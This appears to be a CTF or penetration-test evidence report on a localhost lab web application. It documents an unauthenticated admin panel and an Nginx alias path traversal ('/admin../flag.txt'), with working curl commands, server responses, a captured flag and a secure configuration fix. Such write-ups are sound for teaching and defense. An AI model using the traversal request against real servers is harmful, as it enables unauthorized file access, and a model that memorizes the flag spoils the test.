# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-01: Admin Panel Accessible Without Authentication

**Summary:**
- **Vulnerable location:** `/admin/` and `/admin/index.php` endpoints
- **Overview:** Administrative panel is directly accessible to anonymous users without any authentication or authorization checks
- **Impact:** Complete bypass of access controls for administrative interfaces. Any unauthenticated user can access the administrative zone that should be restricted to admin users only.
- **Severity:** Critical

**Prerequisites:** None - this vulnerability is exploitable by any anonymous user with network access to the application.

**Exploitation Steps:**

1. **Direct Access to Admin Panel (Method 1):**
   ```bash
   curl -i http://localhost:40989/admin/
   ```
   
   **Expected Behavior:** Should redirect to login or return 401/403 Unauthorized
   
   **Actual Behavior:** Returns HTTP 200 OK with full admin panel HTML content

2. **Direct File Access to Admin Panel (Method 2):**
   ```bash
   curl -i http://localhost:40989/admin/index.php
   ```
   
   **Expected Behavior:** Should redirect to login or return 401/403 Unauthorized
   
   **Actual Behavior:** Returns HTTP 200 OK with full admin panel HTML content

**Proof of Impact:**

Both exploitation methods successfully returned the administrative panel with HTTP 200 OK status, confirming unauthorized access to restricted administrative interfaces:

```
HTTP/1.1 200 OK
Server: nginx/1.18.0
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/7.4.33

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Administrative Internal Panel</title>
</head>
<body>
    <div class="content">
        <h1>Administrative Zone</h1>
        <p>Restricted</p>
    </div>
</body>
</html>
```

The response clearly shows:
- **Status Code:** 200 OK (success) instead of 401/403 (unauthorized)
- **Content:** Full administrative panel HTML with "Administrative Zone" header
- **Text "Restricted":** Present in the page but not enforced by any security controls
- **No Authentication Prompt:** No session checks, no redirect to login, no authorization enforcement

This demonstrates a complete vertical authorization bypass where anonymous users gain direct access to administrative interfaces intended only for admin-role users.

**Notes:**

The vulnerability exists because the admin panel file (`/src/app/admin/index.php`) contains zero PHP security code:
- No `session_start()` call
- No `$_SESSION` validation
- No role checks (e.g., `$_SESSION['role'] === 'admin'`)
- No redirect to login for unauthenticated users
- Pure static HTML with no authorization guards

The expected security implementation would include session validation at the beginning of the file (line 1), but the actual implementation begins directly with `<!DOCTYPE html>`, bypassing all security controls.

---

### AUTHZ-VULN-02: Path Traversal Enables Flag File Access

**Summary:**
- **Vulnerable location:** Nginx configuration for `/admin` location (without trailing slash)
- **Overview:** Nginx alias misconfiguration combined with path normalization allows directory traversal to access sensitive files outside the web root
- **Impact:** Complete bypass of file system isolation. Successfully retrieved the flag file located at `/var/www/flag.txt`, which was intentionally placed outside the web root (`/var/www/html/`) for protection. This demonstrates unauthorized access to sensitive data through infrastructure-level authorization bypass.
- **Severity:** Critical

**Prerequisites:** None - this vulnerability is exploitable by any anonymous user with network access to the application.

**Exploitation Steps:**

1. **Exploit Path Traversal to Access Flag File:**
   ```bash
   curl -i http://localhost:40989/admin../flag.txt
   ```
   
   **Technical Explanation:**
   - The Nginx configuration at `/src/nginx.conf` (lines 16-19) defines: `location /admin { alias /var/www/html/; autoindex on; }`
   - The location `/admin` (without trailing slash) creates a path normalization vulnerability
   - Request path `/admin../flag.txt` resolves to `/var/www/html/../flag.txt`
   - Path normalization: `/var/www/html/../flag.txt` → `/var/www/flag.txt`
   - This traverses up one directory from the web root to access the parent directory
   
   **Expected Behavior:** Should return 403 Forbidden or 404 Not Found (file outside web root should be inaccessible)
   
   **Actual Behavior:** Returns HTTP 200 OK with complete flag file contents

**Proof of Impact:**

Successfully retrieved the flag file contents via path traversal:

```
HTTP/1.1 200 OK
Server: nginx/1.18.0
Content-Type: text/plain
Content-Length: 71
Last-Modified: Fri, 24 Oct 2025 23:52:55 GMT

FLAG{5ad32e4112f0e82f618951901ae9579c3d9926d8666316a3f9e49ff868fd5d24}
```

**Flag Captured:** `FLAG{5ad32e4112f0e82f618951901ae9579c3d9926d8666316a3f9e49ff868fd5d24}`

This demonstrates:
- **Complete Authorization Bypass:** Accessed a file explicitly placed outside the web root for security isolation
- **Infrastructure Vulnerability:** Nginx misconfiguration defeats application-layer security boundaries
- **Sensitive Data Exposure:** Retrieved the CTF flag, proving unauthorized access to protected resources
- **File System Traversal:** Successfully traversed from `/var/www/html/` (web root) to `/var/www/` (parent directory)

**Notes:**

**Root Cause Analysis:**

The vulnerability stems from a textbook Nginx alias misconfiguration in `/src/nginx.conf`:

```nginx
location /admin {               # Missing trailing slash
    alias /var/www/html/;       # Incorrect alias path
    autoindex on;                # Directory listing enabled
}
```

**Security Failures:**
1. **Path Traversal:** The location directive without trailing slash allows path normalization attacks
2. **Incorrect Alias:** Should point to `/var/www/html/admin/` instead of `/var/www/html/`
3. **Directory Listing Enabled:** `autoindex on` aids reconnaissance (though not exploited in this case)
4. **No Access Controls:** Missing `auth_basic`, IP whitelisting, or `internal` directives
5. **No Authentication:** The location has zero authentication requirements

**Secure Configuration:**
```nginx
location /admin/ {              # With trailing slash
    alias /var/www/html/admin/; # Correct alias path with trailing slash
    autoindex off;               # Disable directory listing
    # Add authentication:
    # auth_basic "Admin Area";
    # auth_basic_user_file /etc/nginx/.htpasswd;
}
```

This vulnerability demonstrates how infrastructure-level misconfigurations can completely bypass application-layer security controls, providing a critical lesson in defense-in-depth security requirements.
